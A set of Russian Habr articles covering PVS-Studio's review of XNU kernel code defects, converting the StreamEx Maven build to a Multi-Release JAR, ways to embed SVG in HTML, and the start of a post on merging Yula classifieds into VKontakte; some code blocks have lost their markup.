* [V764](https://www.viva64.com/ru/w/v764/) Possible incorrect order of arguments passed to 'vsock\_pcb\_safe\_reset\_address' function: 'dst' and 'src'. vsock\_domain.c 590
**Фрагмент N10**
```
int
ifclassq_tbr_set(struct ifclassq *ifq, ....)
{
struct tb_regulator *tbr;
....
tbr = &ifq->ifcq_tbr;
....
tbr->tbr_rate = TBR_SCALE(rate / 8) / machclk_freq;
....
tbr->tbr_last = read_machclk();
if ( tbr->tbr_rate > 0 //<=
&& (ifp->if_flags & IFF_UP))
{
....
} else {
....
}
....
return 0;
}
```
Предупреждение PVS-Studio: [V1051](https://www.viva64.com/ru/w/v1051/) Consider checking for misprints. It's possible that the 'tbr->tbr\_last' should be checked here. classq\_subr.c 685
В проекте эта диагностика работала не лучшим образом, так как в коде постоянно над телом условия или цикла инициализировались сторонние переменные с именами, похожими на используемые в условии. Поэтому на этот раз диагностика выдала несколько явно ложных предупреждений. Но рассматриваемое нами срабатывание всё же показалось мне подозрительным, так как проверяемое поле *tbr\_rate* не использовалось в теле условия и было инициализировано на 35 строк выше этой проверки. А вот поле *tbr\_last*, инициализированное прямо перед этой проверкой, больше нигде не используется. Можно предположить, что проверить нужно было его вместо *tbr\_rate*.
**Фрагмент N11**
```
void
audit_arg_mac_string(struct kaudit_record *ar, ....)
{
if (ar->k_ar.ar_arg_mac_string == NULL)
{
ar->k_ar.ar_arg_mac_string = kheap_alloc(....);
}
....
if (ar->k_ar.ar_arg_mac_string == NULL)
{
if (ar->k_ar.ar_arg_mac_string == NULL) // <=
{
return;
}
}
....
}
```
Предупреждение PVS-Studio: [V571](https://www.viva64.com/ru/w/v571/) Recurring check. The 'if (ar->k\_ar.ar\_arg\_mac\_string == NULL)' condition was already verified in line 245. audit\_mac.c 246
Предупреждение PVS-Studio: [V547](https://www.viva64.com/ru/w/v547/) Expression 'ar->k\_ar.ar\_arg\_mac\_string == NULL' is always true. audit\_mac.c 246
На этот код анализатор выдал сразу два предупреждения.
Сначала взгляд может зацепиться за то, что проверка в самом первом *if* и во втором совпадает. Но тут всё правильно: внутри тела первой проверки аллоцируется память, а для второй проверки есть пояснение:
```
/*
* XXX This should be a rare event.
* If kheap_alloc() returns NULL,
* the system is low on kernel virtual memory. To be
* consistent with the rest of audit, just return
* (may need to panic if required to for audit).
*/
```
Судя по этому комментарию, во второй проверке не должно быть никакой внутренней проверки. Нужно просто выйти из метода. Так что, скорее всего, внутренняя проверка была продублирована случайно и не имеет никакого смысла.
Хотя возможен и тот вариант, что во внутренней проверке нужно было проверить какое-то другое поле. Но сюда закралась ошибка копипасты, и разработчик забыл поправить имя поля.
**Фрагмент N12**
```
int
utf8_encodestr(....)
{
u_int16_t ucs_ch;
int swapbytes = ....;
....
ucs_ch = swapbytes ? OSSwapInt16(*ucsp++) : *ucsp++;
....
}
```
Предупреждение PVS-Studio: [V567](https://www.viva64.com/ru/w/v567/) Undefined behavior. The 'ucsp' variable is modified while being used twice between sequence points. vfs\_utfconv.c 298
Макросы – очень коварная штука. Возможно, вы даже уже встречались с нашей статьей "[Вред макросов для C++ кода](https://habr.com/ru/company/pvs-studio/blog/444612/)". Я обычно при написании статей избегаю срабатываний на макросы. С ними всегда всё оказывается сложно без знакомства с кодовой базой проекта.
Но в случае этой ошибки всё оказалось чуть проще. Хотя, чтобы дойти до причины и развернуть цепочку макросов, пришлось прыгнуть в ту ещё кроличью нору. Собственно, цепочка эта начинается с выражения *OSSwapInt16(\*ucsp++)*.
Потом я поняла, что есть способ попроще, и просто обратилась к .i файлу, который остался после проверки проекта. По нему строка с этим макросом развернулась следующим образом:
```
ucs_ch = swapbytes
? ( (__uint16_t)(__builtin_constant_p(*ucsp++)
? ((__uint16_t)( (((__uint16_t)(*ucsp++) & 0xff00U) >> 8)
| (((__uint16_t)(*ucsp++) & 0x00ffU) << 8)))
: _OSSwapInt16(*ucsp++)))
: *ucsp++;
```
Больше всего здесь нас интересует вот этот участок выражения:
```
(((__uint16_t)(*ucsp++) & 0xff00U) >> 8)
| (((__uint16_t)(*ucsp++) & 0x00ffU) << 8)
```
Никакой из операторов в выражении не является точкой следования. Так как точно неизвестно, какой из аргументов оператора | будет вычисляться первым, значение *\*uscp* оказывается неопределённым.
Для диагностики [V567](https://www.viva64.com/ru/w/v567/) PVS-Studio предоставляет крайне подробную документацию. Если вам интересно, почему такой код может приводить к неопределённому поведению, документация может стать хорошим началом изучения этой проблемы.
Однако это ещё не всё! Есть очень интересный и важный момент. Готова поспорить, что человек, писавший этот код, планировал увеличить значение *\*ucsp* только один раз. Но, на самом деле, значение увеличится дважды. Это не видно и непонятно. Макросы очень и очень опасны из-за вот таких случаев. Во многих ситуациях лучше написать обыкновенную функцию. Скорее всего, компилятор автоматически выполнит подстановку и никакого ухудшения производительности не произойдёт.
**Фрагмент N13**
```
struct pf_status pf_status;
int
pf_insert_state(struct pf_state *s, ....)
{
....
if (....) {
s->id = htobe64(pf_status.stateid++);
....
}
....
}
```
Предупреждение PVS-Studio: [V567](https://www.viva64.com/ru/w/v567/) Undefined behavior. The 'pf\_status.stateid' variable is modified while being used twice between sequence points. pf.c 1440
И снова коварные макросы смешали все карты для инкремента. Рассмотрим строку с вызовом *htobe64*, которая оказалась подозрительной для анализатора после препроцессинга:
```
s->id = (__builtin_constant_p(pf_status.stateid++) ?
((__uint64_t)((((__uint64_t)(pf_status.stateid++) &
0xff00000000000000ULL) >> 56) | (((__uint64_t)(pf_status.stateid++) &
0x00ff000000000000ULL) >> 40) | (((__uint64_t)(pf_status.stateid++) &
0x0000ff0000000000ULL) >> 24) | (((__uint64_t)(pf_status.stateid++) &
0x000000ff00000000ULL) >> 8) | (((__uint64_t)(pf_status.stateid++) &
0x00000000ff000000ULL) << 8) | (((__uint64_t)(pf_status.stateid++) &
0x0000000000ff0000ULL) << 24) | (((__uint64_t)(pf_status.stateid++) &
0x000000000000ff00ULL) << 40) | (((__uint64_t)(pf_status.stateid++) &
0x00000000000000ffULL) << 56))) : _OSSwapInt64(pf_status.stateid++));
```
Проблема собственно та же, что и в предыдущем примере. Во внутренней цепочке с операндами | и & нет точек следования. Поэтому неизвестно, какое значение примет *pf\_status.stateid* на моменте выполнения каждой операции. Результат также неопределён.
И, опять-таки, переменная увеличивается несколько раз подряд, что является неприятным сюрпризом от макроса :).
Вот остальные срабатывания этой диагностики на этом проекте:
* [V567](https://www.viva64.com/ru/w/v567/) Undefined behavior. The 'ip\_id' variable is modified while being used twice between sequence points. ip\_id.c 186
* [V567](https://www.viva64.com/ru/w/v567/) Undefined behavior. The 'lp' variable is modified while being used twice between sequence points. nfs\_boot.c 505
* [V567](https://www.viva64.com/ru/w/v567/) Undefined behavior. The 'lp' variable is modified while being used twice between sequence points. nfs\_boot.c 497
* [V567](https://www.viva64.com/ru/w/v567/) Undefined behavior. The 'ip\_id' variable is modified while being used twice between sequence points. kdp\_udp.c 588
* [V567](https://www.viva64.com/ru/w/v567/) Undefined behavior. The 'ip\_id' variable is modified while being used twice between sequence points. kdp\_udp.c 665
* [V567](https://www.viva64.com/ru/w/v567/) Undefined behavior. The 'ip\_id' variable is modified while being used twice between sequence points. kdp\_udp.c 1543
**Фрагмент N14**
```
__private_extern__ boolean_t
ipsec_send_natt_keepalive(....)
{
....
struct udphdr *uh = (__typeof__(uh))(void *)( (char *)m_mtod(m)
+ sizeof(*ip));
....
if (....)
{
uh->uh_sport = (u_short)sav->natt_encapsulated_src_port;
} else {
uh->uh_sport = htons((u_short)esp_udp_encap_port);
}
uh->uh_sport = htons((u_short)esp_udp_encap_port);
....
}
```
Предупреждение PVS-Studio: [V519](https://www.viva64.com/ru/w/v519/) The 'uh->uh\_sport' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 4866, 4870. ipsec.c 4870
В этом фрагменте возникла подозрительная ситуация: полю *uh\_sport* в зависимости от определённого условия присваиваются разные значения. Однако сразу после *if-else* этому же полю снова присваивается значение, такое же как в ветке *else*. В итоге этот *if-else* блок теряет смысл, так как значение поля всё равно будет перезаписано.
**Фрагмент N15**
```
static kern_return_t
vm_shared_region_slide_page_v3(vm_offset_t vaddr, ....)
{
....
uint8_t *page_content = (uint8_t *)vaddr;
uint16_t page_entry;
....
uint8_t* rebaseLocation = page_content;
uint64_t delta = page_entry;
do {
rebaseLocation += delta;
uint64_t value;
memcpy(&value, rebaseLocation, sizeof(value));
....
bool isBind = (value & (1ULL << 62)) == 1; // <=
if (isBind) {
return KERN_FAILURE;
}
....
} while (delta != 0);
....
}
```
Предупреждение PVS-Studio: [V547](https://www.viva64.com/ru/w/v547/) Expression '(value & (1ULL << 62)) == 1' is always false. vm\_shared\_region.c 2820
Тут получилось много кода из-за использования большого числа переменных. Но интересует нас только указанная мною строка с инициализацией *isBind*. Разберём это выражение по шагам.
В результате побитового сдвига создаётся маска с единственной единицей в 63-ем бите. Результат побитового & с переменной value может принимать только значения 0 или 0x4000000000000000. А никакое из этих значений не равно 1. В итоге условие всегда будет ложным.
Судя по тому, что выполнение этого условия должно было привести к выходу из функции с возвратом *KERN\_FAILURE*, возможно, как раз значение 0x4000000000000000 является тем самым исключительным случаем, после которого нужно выйти из функции. Тогда результат побитовых операций надо было сравнивать с этим числом, а не с 1. Ну, или написать так:
```
bool isBind = (value & (1ULL << 62)) != 0;
```
**Фрагмент N16**
```
int
vn_path_package_check(char *path, int pathlen, ....)
{
char *ptr, *end;
int comp = 0;
....
end = path + 1;
while (end < path + pathlen && *end != '\0') {
while (end < path + pathlen && *end == '/' && *end != '\0') {
end++;
}
ptr = end;
while (end < path + pathlen && *end != '/' && *end != '\0') {
end++;
}
....
}
....
}
```
Предупреждение PVS-Studio: [V590](https://www.viva64.com/ru/w/v590/) Consider inspecting this expression. The expression is excessive or contains a misprint. vfs\_subr.c 3589
Эта диагностика всегда указывает на излишний код. Иногда под ним скрывается более серьёзная ошибка. Но здесь это, скорее всего, просто недочёт. Предупреждение было выдано на первый внутренний *while*. Нет смысла проверять, что символ одновременно равен '/' и не равен '\0'. Достаточно только первой проверки, так как если *\*end* равен '/', то он точно не может быть равен '\0'.
Следующий *while* содержит столько же проверок. Но из-за того, что в обоих случаях проверяется неравенство, эти проверки могут работать вместе. Возможно, сначала был написан второй *while*, а первый был скопирован с него с изменённой проверкой для '/'. Тогда перед нами недочёт, возникший из-за копипасты.
Заключение
----------
В этот раз в проекте нашлось несколько меньше ошибок, чем в предыдущей статье. Весьма вероятно, что в процесс разработки XNU был внедрён статический анализ и другие инструменты контроля качества кода. Почти наверняка на проекте используется Clang Static Analyzer. Но ошибки и недочёты всё-таки нашлись. Я не стала приводить здесь некоторые срабатывания на подозрительные места, вывод по которым можно сделать только на основании большего понимания кодовой базы.
Однако даже приведённые фрагменты показывают, что такой крайне важный проект, несомненно, разрабатываемый профессионалами, нуждается в инструментах контроля качества кода.
Если вам интересно, какие ошибки может помочь найти статический анализ в целом и PVS-Studio конкретно, то можете познакомиться с нашей [подборкой статей про проверку исходных проектов](http://www.viva64.com/ru/inspections/). Там есть проверки кода не только операционных систем, но и, например, компиляторов и других инструментов программирования, которыми вы, возможно, пользуетесь ежедневно. Например, совсем недавно вышла [статья про проверку Qt6](https://www.viva64.com/ru/b/0801/).
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Victoria Khanieva. [MacOS Kernel, Is This Apple Rotten?](https://habr.com/en/company/pvs-studio/blog/549454/). | https://habr.com/ru/post/549460/ | null | ru | null |
# Опыт перевода Maven-проекта на Multi-Release Jar: уже можно, но ещё сложно
У меня есть маленькая библиотека [StreamEx](https://github.com/amaembo/streamex), которая расширяет возможности Java 8 Stream API. Библиотеку я традиционно собираю через Maven, и по большей части меня всё устраивает. Однако вот захотелось экспериментов.
Некоторые вещи в библиотеке должны работать по-разному в разных версиях Java. Самый яркий пример — новые методы Stream API вроде `takeWhile`, которые появились только в Java 9. Моя библиотека предоставляет реализацию этих методов и в Java 8, но когда расширяешь Stream API сам, попадаешь под некоторые ограничения, о которых я здесь умолчу. Хотелось бы, чтобы пользователи Java 9+ имели доступ к стандартной реализации.
Чтобы проект продолжал компилироваться с помощью Java 8, обычно это делается средствами reflection: мы выясняем, есть ли соответствующий метод в стандартной библиотеке и если есть, вызываем его, а если нет, то используем свою реализацию. Я впрочем решил использовать [MethodHandle API](https://docs.oracle.com/javase/8/docs/api/java/lang/invoke/MethodHandle.html), потому что в нём декларируются меньшие накладные расходы на вызов. Можно заранее получить `MethodHandle` и сохранить его в статическом поле:
```
MethodHandles.Lookup lookup = MethodHandles.publicLookup();
MethodType type = MethodType.methodType(Stream.class, Predicate.class);
MethodHandle method = null;
try {
method = lookup.findVirtual(Stream.class, "takeWhile", type);
} catch (NoSuchMethodException | IllegalAccessException e) {
// ignore
}
```
А затем использовать его:
```
if (method != null) {
return (Stream)method.invokeExact(stream, predicate);
} else {
// Java 8 polyfill
}
```
Это всё хорошо, но выглядит некрасиво. И главное, в каждой точке, где возможна вариация реализаций, придётся писать такие условия. Немного альтернативный подход — разделить стратегии Java 8 и Java 9 в виде реализации одного и того же интерфейса. Либо, чтобы сэкономить размер библиотеки, просто реализовать всё для Java 8 в отдельном нефинальном классе, а для Java 9 подставить наследника. Делалось это примерно так:
```
// Во внутреннем классе Internals
static final VersionSpecific VER_SPEC =
System.getProperty("java.version", "").compareTo("1.9") > 0
? new Java9Specific() : new VersionSpecific();
```
Тогда в точках использования можно просто писать `return Internals.VER_SPEC.takeWhile(stream, predicate)`. Вся магия с method handles теперь только в классе `Java9Specific`. Такой подход, кстати, спас библиотеку для пользователей Android, которые до этого жаловались, что она не работает в принципе. Виртуальная машина Андроида — это не Java, она не реализует даже спецификацию Java 7. В частности, там нет методов с полиморфной сигнатурой вроде `invokeExact`, и само присутствие этого вызова в байткоде всё ломает. Теперь эти вызовы вынесены в класс, который никогда не инициализируется.
Однако всё это всё равно некрасиво. А красивое решение (по крайней мере, в теории) — использовать Multi Release Jar, который появился с Java 9 ([JEP-238](https://openjdk.java.net/jeps/238)). Для этого часть классов должна компилироваться под Java 9 и скомпилированные класс-файлы помещаться в `META-INF/versions/9` внутри Jar-файла. Кроме этого надо добавить в манифест строку `Multi-Release: true`. Тогда Java 8 будет успешно всё это игнорировать, а Java 9 и новее загрузит новые классы вместо классов с теми же именами, которые расположены в обычном месте.
Первый раз я пытался это сделать больше двух лет назад, незадолго до выхода Java 9. Это шло очень тяжело, и я бросил. Даже просто заставить проект компилироваться компилятором из Java 9 было трудно: многие Maven-плагины просто ломались из-за изменившихся внутренних API, изменившегося формата строки `java.version` или ещё чего-нибудь.
Новая попытка в этом году прошла более успешно. Плагины уже по большей части обновились и работают в новой Java вполне адекватно. Первым этапом я перевёл всю сборку на Java 11. Для этого помимо обновления версий плагинов пришлось сделать следующее:
* Изменить в JavaDoc `package-info.java` ссылки вида на . Иначе JavaDoc жалуется.
* Указать в maven-javadoc-plugin `additionalOptions = --no-module-directories`. Без этого были странные баги с фичей поиска по JavaDoc: каталогов с модулями всё равно не создавалось, но при переходе на результат поиска в путь добавлялось `/undefined/` (привет, JavaScript). Этой фичи в Java 8 не было вообще, так что моя деятельность уже принесла приятный результат: JavaDoc стал с поиском.
* Починить плагин публикации результатов покрытия тестами в Coveralls (`coveralls-maven-plugin`). Он почему-то заброшен, что странно, учитывая, что Coveralls вполне себе живёт и предлагает коммерческие услуги. Из Java 11 исчезло jaxb-api, которое плагин использует. К счастью, исправить проблему несложно средствами Maven: достаточно явно прописать зависимость к плагину:
```
org.eluder.coveralls
coveralls-maven-plugin
4.3.0
javax.xml.bind
jaxb-api
2.2.3
```
Следующим шагом стала адаптация тестов. Так как поведение библиотеки очевидно отличается в Java 8 и Java 9, логично было бы прогонять тесты для обеих версий. Сейчас мы выполняем всё под Java 11, соответственно код, специфичный для Java 8, не тестируется. Это довольно большой и нетривиальный код. Чтобы это исправить, я сделал искусственную ручку:
```
static final VersionSpecific VER_SPEC =
System.getProperty("java.version", "").compareTo("1.9") > 0 &&
!Boolean.getBoolean("one.util.streamex.emulateJava8")
? new Java9Specific() : new VersionSpecific();
```
Теперь достаточно передать `-Done.util.streamex.emulateJava8=true` при запуске тестов,
чтобы протестировать то, что обычно работает в Java 8. Теперь добавляем новый блок в конфигурацию `maven-surefire-plugin` с `argLine = -Done.util.streamex.emulateJava8=true`, и тесты проходят два раза.
Хочется однако считать суммарное покрытие тестами. Я использую JaCoCo, и если ему ничего не сказать, то второй прогон просто затрёт результаты первого. Как работает JaCoCo? У него вначале выполняется цель `prepare-agent`, которая устанавливает Maven-свойство argLine, подписывая туда что-то вроде `-javaagent:blah-blah/.m2/org/jacoco/org.jacoco.agent/0.8.4/org.jacoco.agent-0.8.4-runtime.jar=destfile=blah-blah/myproject/target/jacoco.exec`. Я же хочу, чтобы у меня формировались два разных exec-файла. Можно это хакнуть таким образом. В конфигурацию `prepare-agent` дописываем `destFile=${project.build.directory}`. Грубо, но эффективно. Теперь `argLine` закончится на `blah-blah/myproject/target`. Да, это вовсе не файл, а каталог. Но мы можем подставить имя файла уже при запуске тестов. Возвращаемся в `maven-surefire-plugin` и устанавливаем `argLine = @{argLine}/jacoco_java8.exec -Done.util.streamex.emulateJava8=true` для Java 8 прогона и `argLine = @{argLine}/jacoco_java11.exec` для Java 11 прогона. Затем эти два файла несложно объединить с помощью цели `merge`, которую тоже предоставляет плагин JaCoCo, и мы получаем общее покрытие.
**Update:** [godin](https://habr.com/ru/users/godin/) в комментариях сказал, что это было излишне, можно писать в один файл, и он автоматически склеит результат с предыдущим. Сейчас я уже не уверен, почему у меня этот сценарий не сработал изначально.
Ну вот, мы неплохо подготовились, чтобы всё-таки перейти на Multi-Release Jar. Я нашёл ряд рекомендаций, как это сделать. [Первая](https://github.com/hboutemy/maven-jep238) предлагала использовать много-модульный Maven-проект. Мне не хочется: это сильное усложнение структуры проекта: там пять pom.xml, например. Городить такое ради пары файлов, которые надо компилировать на Java 9, кажется перебор. [Ещё одна](https://in.relation.to/2017/02/13/building-multi-release-jars-with-maven/) предлагала запускать компиляцию через `maven-antrun-plugin`. Сюда я решил смотреть только в крайнем случае. Понятно, что любую проблему в Maven можно решить с помощью Ant, но это как-то совсем коряво. Наконец, я увидел рекомендацию использовать сторонний плагин [multi-release-jar-maven-plugin](https://github.com/metlos/multi-release-jar-maven-plugin). Это уже прозвучало вкусно и правильно.
Плагин рекомендует размещать исходники специфичные для новых версий Java в каталогах вроде `src/main/java-mr/9`, что я и сделал. Я всё-таки решил по максимум избегать коллизий в именах классов, поэтому единственный класс (даже интерфейс), который присутствует и в Java 8, и в Java 9, у меня такой:
```
// Java 8
package one.util.streamex;
/* package */ interface VerSpec {
VersionSpecific VER_SPEC = new VersionSpecific();
}
// Java 9
package one.util.streamex;
/* package */ interface VerSpec {
VersionSpecific VER_SPEC = new Java9Specific();
}
```
Старая константа переехала на новое место, но в остальном особо ничего не поменялось. Только теперь класс `Java9Specific` стал гораздо проще: все приседания с MethodHandle успешно заменены на прямые вызовы методов.
Плагин обещает делать следующие вещи:
* Подменить стандартный плагин `maven-compiler-plugin` и компилировать в два присеста с разной целевой версией.
* Подменить стандартный плагин `maven-jar-plugin` и запаковать результат компиляции с правильными путями.
* Добавить в `MANIFEST.MF` строчку `Multi-Release: true`.
Для того, чтобы он работал, потребовалось довольно много шагов.
1. Поменять packaging с `jar` на `multi-release-jar`.
2. Добавить build-extension:
```
pw.krejci
multi-release-jar-maven-plugin
0.1.5
```
3. Скопировать конфигурацию из `maven-compiler-plugin`. У меня там была только версия по умолчанию в духе `1.8` и `-Xlint:all`
4. Я думал, что `maven-compiler-plugin` теперь можно убрать, но оказалось, что новый плагин не подменяет компиляцию тестов, поэтому для неё версия Java сбросилась в дефолт (1.5!) и исчез аргумет `-Xlint:all`. Так что пришлось оставить.
5. Чтобы не дублировать source и target для двух плагинов, я выяснил, что они оба уважают свойства `maven.compiler.source` и `maven.compiler.target`. Я их установил и удалил версии из настроек плагинов. Однако внезапно оказалось, что `maven-javadoc-plugin` использует `source` из настроек `maven-compiler-plugin`'а, чтобы выяснить URL стандартного JavaDoc, который надо линковать при ссылках на стандартные методы. И вот он не уважает `maven.compiler.source`. Поэтому пришлось вернуть `${maven.compiler.source}` в настройки `maven-compiler-plugin`. К счастью, других изменений для генерации JavaDoc не потребовалось. Его вполне можно генерировать по исходникам Java 8, потому что вся карусель с версиями не влияет на API библиотеки.
6. Сломался `maven-bundle-plugin`, который превращал мою библиотеку в OSGi-артефакт. Он просто отказался работать с `packaging = multi-release-jar`. В принципе он мне никогда не нравился. Он пишет в манифест набор дополнительных строчек, при этом портит порядок сортировки и добавляет ещё всякий мусор. К счастью, оказалось, что от него несложно избавиться, написав всё нужное вручную. Только, разумеется, уже не в `maven-jar-plugin`, а в новом. Вся конфигурация `multi-release-jar` плагина в итоге стала такой (некоторые свойства вроде `project.package` я сам определил):
```
pw.krejci
multi-release-jar-maven-plugin
0.1.5
-Xlint:all
${project.package}
${project.name}
${project.description}
${license.url}
2
${project.package}
${project.version}
${project.package};version="${project.version}"
```
7. Тесты. У нас больше нет `one.util.streamex.emulateJava8`, зато можно добиться того же эффекта, модифицируя class-path тестов. Теперь всё наоборот: по дефолту библиотека работает в режиме Java 8, а для Java 9 надо написать:
```
${basedir}/target/classes-9
${project.build.outputDirectory}
@{argLine}/jacoco\_java9.exec
```
Важный момент: `classes-9` должен идти вперёд обычных класс-файлов, поэтому пришлось перенести обычные в `additionalClasspathElements`, которые добавляются после.
8. Исходники. У меня собирается source-jar, и хорошо бы в него подпаковать исходники Java 9, чтобы, например, дебаггер в IDE мог правильно их показывать. Я несильно беспокоюсь насчёт дублированного `VerSpec`, потому что там одна строчка, которая выполняется только при инициализации. Мне нормально оставить только вариант из Java 8. Однако `Java9Specific.java` хорошо бы подложить. Это можно сделать, добавив вручную дополнительный каталог с исходниками:
```
org.codehaus.mojo
build-helper-maven-plugin
3.0.0
test
add-source
src/main/java-mr/9
```
Собрав артефакт, я подключил его к тестовому проекту и проверил в отладчике IntelliJ IDEA. Всё красиво работает: в зависимости от версии виртуальной машины, используемой для запуска тестового проекта, мы попадаем в разный исходник при отладке.
Было бы круто, чтобы это делалось само плагином multi-release-jar, поэтому я [внёс](https://github.com/metlos/multi-release-jar-maven-plugin/issues/10) такое предложение.
9. JaCoCo. С ним оказалось сложнее всего, и я не обошёлся без посторонней помощи. Дело в том, что плагин совершенно нормально генерировал exec-файлы для Java-8 и Java-9, нормально склеивал их в один файл, однако при генерации отчётов в XML и HTML упорно игнорировал исходники из Java-9. Покопавшись [в исходниках](https://github.com/jacoco/jacoco/blob/7f5655075cadfd7c656c20d671ab9e183668280a/jacoco-maven-plugin/src/org/jacoco/maven/ReportSupport.java#L194), я увидел, что он генерирует отчёт только для class-файлов, найденных в `project.getBuild().getOutputDirectory()`. Этот каталог, конечно, можно подменить, но у меня по факту их два: `classes` и `classes-9`. Теоретически можно скопировать все классы в один каталог, поменять `outputDirectory` и запустить JaCoCo, а потом поменять `outputDirectory` назад, чтобы не сломать сборку JAR. Но это звучит совсем некрасиво. В общем, я решил пока отложить решение этой проблемы в своём проекте, но [написал](https://github.com/jacoco/jacoco/issues/965) ребятам из JaCoCo, что хорошо бы иметь возможность указать несколько каталогов с class-файлами.
К моему удивлению, буквально через несколько часов в мой проект пришёл один из разработчиков JaCoCo [godin](https://habr.com/ru/users/godin/) и принёс [pull-request](https://github.com/amaembo/streamex/pull/203), который решает проблему. Как решает? С помощью Ant, конечно! Оказалось, Ant-плагин для JaCoCo более продвинутый и умеет генерировать суммарный отчёт по нескольким каталогам исходников и класс-файлов. Стал даже не нужен отдельный шаг `merge`, потому что ему можно сразу скормить несколько exec-файлов. В общем, избежать Ant не удалось, ну и пусть. Главное, что заработало, и pom.xml вырос всего на шесть строчек.
Я даже твитнул в сердцах:
> The most useful [#Maven](https://twitter.com/hashtag/Maven?src=hash&ref_src=twsrc%5Etfw) plugin is maven-antrun-plugin because every problem can be solved with a bit of [#Ant](https://twitter.com/hashtag/Ant?src=hash&ref_src=twsrc%5Etfw) scripting.
>
> — Tagir Valeev (@tagir\_valeev) [October 19, 2019](https://twitter.com/tagir_valeev/status/1185422598810800129?ref_src=twsrc%5Etfw)
Таким образом я получил вполне рабочий проект, который собирает красивый Multi-Release Jar. При этом даже вырос процент покрытия, потому что я убрал всякие `catch (NoSuchMethodException | IllegalAccessException e)`, которые были недостижимы в Java 9. К сожалению, такая структура проекта не поддерживается IntelliJ IDEA, поэтому пришлось отказаться от импорта POM и настроить проект в IDE вручную. Надеюсь, в будущем появится всё-таки стандартное решение, которое будет автоматически поддерживаться всеми плагинами и инструментами. | https://habr.com/ru/post/472312/ | null | ru | null |
# Как правильно вставлять SVG
> Как правильно вставлять SVG?
SVG — это [формат векторной графики](https://htmlacademy.ru/courses/130), дословно: масштабируемая векторная графика. МВГ? SVG! В векторных форматах хранится не само изображение, а инструкция по его построению по точкам и кривым.
В растровых форматах информация о конкретном числе точек изображения плотно упакована в бинарный кирпич. В него бесполезно заглядывать и менять его можно только в редакторах графики.
```
�PNG
IH�aV
PLTE�������0�
IDAcZ�d���� �W=
S�3�o;���]P
���IEND�B`�~
```
Формат SVG тоже можно создавать и менять в редакторах графики, вроде Illustrator, Sketch или Inkscape. Но ещё он текстовый, а значит его можно открыть как HTML или CSS в любом редакторе кода.
```
```
Я вам больше скажу: SVG — это как отдельная HTML-страница. Когда вы вставляете SVG, вы, на самом деле, вставляете не просто картинку, а целую страницу. Со своей системой координат, вьюпортом, стилями, скриптами и удивительными особенностями.
Стилями и скриптами, Карл! Вот вам и простая картинка.
Если смотреть на SVG как на отдельную страницу — становится понятнее, какой способ вставки вам нужен. Есть четыре основных и у каждого — особенности.
Первый и самый простой — элемент `![]()` прямо в HTML-коде. Это в принципе самый эффективный способ загрузить любую картинку — браузеры заранее знают по HTML-коду, что она есть и начинают её подгружать.
Минус в том, что в таком SVG не будут работать скрипты и любые попытки взаимодействия с элементами внутри обречены. Файл будет как за стеклом: смотреть можно, а трогать нельзя. Хотя внутри всё остальное прекрасно работает, включая CSS-анимации.
```
```
Такой способ лучше всего подходит контентным изображениям, которым не нужно взаимодействие: логотипы, графики, схемы.
Второй способ — фоновая картинка в CSS. Причём неважно, зададите вы его элементу, псевдоэлементу или контентом вставите — результат будет таким же, как с `![]()`: за стеклом, но внутри что-то работает.
```
.picture {
background-image: url(picture.svg);
}
```
Этот способ подходит для оформительской графики, которой не нужно взаимодействие: фоны, иконки и другая мелочь.
Третий способ, через , наконец-то выбивает стекло между страницей и внутренностями SVG-файла. Работают скрипты, взаимодействие, анимация — если они описаны внутри SVG. Между тегами можно вставить фолбэк, который покажется, если браузер не говорит на SVG.
```
```
На самом деле, вместо можно даже использовать , как если бы вы подключили другую страницу. Но работает лучше и подстраивается под размеры картинки.
За гибкость приходится платить: из-за того, что это уже не просто графика и там можно скриптовать, к такому способу предъявляются другие требования безопасности. Например, картинку с другого домена просто так уже не вставить.
Этот способ подходит, когда вам нужно вставить какую-то интерактивную графику: игрушки, графики и [всякое сложное](https://svgvspng.com/#ru). Достаточно вспомнить, что когда-то через вставлялись Flash-ролики. Спросите у родителей, что это такое.
Четвёртый способ заработал, когда браузеры переписали свои HTML-парсеры по новому стандарту и содержимое SVG-файлов стало можно вставлять прямо на страницу, как любые другие теги.
```
Квадрат
=======
```
С таким SVG можно делать то же, что и с обычными HTML-элементами: стили, скрипты — ну, вы сами знаете. Можно, например, менять цвет заливки при наведении и [описывать всё в общих стилях](https://htmlacademy.ru/courses/187).
```
rect:hover {
fill: #090;
}
```
Минус в том, что такие картинки не кэшируются отдельно от страницы — хотя это можно обойти через символы и юзы, но это длинная история, мы об этом ещё поговорим отдельно.
SVG гораздо больше, чем просто формат графики — это мы с вами уже поняли. Хотите закопаться глубже? Читайте [статьи Сары Суайдан](https://www.sarasoueidan.com/blog/), это пока лучшее, из того, что есть. Все ссылки есть в описании к видео.
В итоге: способов куча и все чем-то хороши. Выбирайте подходящий под ваши задачи, но всегда начинайте с самых простых: `![]()` и фона, а потом уже усложняйте — если не хватает.
Видеоверсия
-----------
Вопросы можно задавать [здесь](https://htmlacademy.ru/shorts). | https://habr.com/ru/post/337284/ | null | ru | null |
# Как подружить Юлу и ВКонтакте
Осенью прошлого года перед нами стояла задача объединить крупнейшую социальную сеть и многомиллионный сервис объявлений в одну площадку для продажи — Объявления ВКонтакте. Похожую задачу уже решил Facebook и реализовал внутри своей соцсети Facebook Marketplace, в результате получился один из крупнейших мировых сервисов объявлений.
В этой статье я опишу процесс разработки и технологии, которые мы использовали для достижения результатов в максимально сжатые сроки. Не буду приводить примеры кода, потому что архитектура каждой части приложения заслуживает отдельной статьи.
### Предыстория
Юла — сервис объявлений с многомиллионной аудиторией, который является одним из крупнейших сервисов объявлений в РФ. ВКонтакте — крупнейшая социальная сеть РФ, которая также является одним из крупнейших сервисов объявлений: там есть множество сообществ-барахолок, в которых пользователи могут размещать объявления.
Полгода назад у пользователей ВКонтакте не было удобной функциональности поиска объявлений и взаимодействия с покупателями и продавцами, а на Юле не было того количества постов из групп ВКонтакте, которые являются потенциальными объявлениями. Большинство постов-объявлений во ВКонтакте выглядели так:
Кроме того, у сообществ ВКонтакте не было возможности получать дополнительную аудиторию и показывать свой контент вне ленты групп.
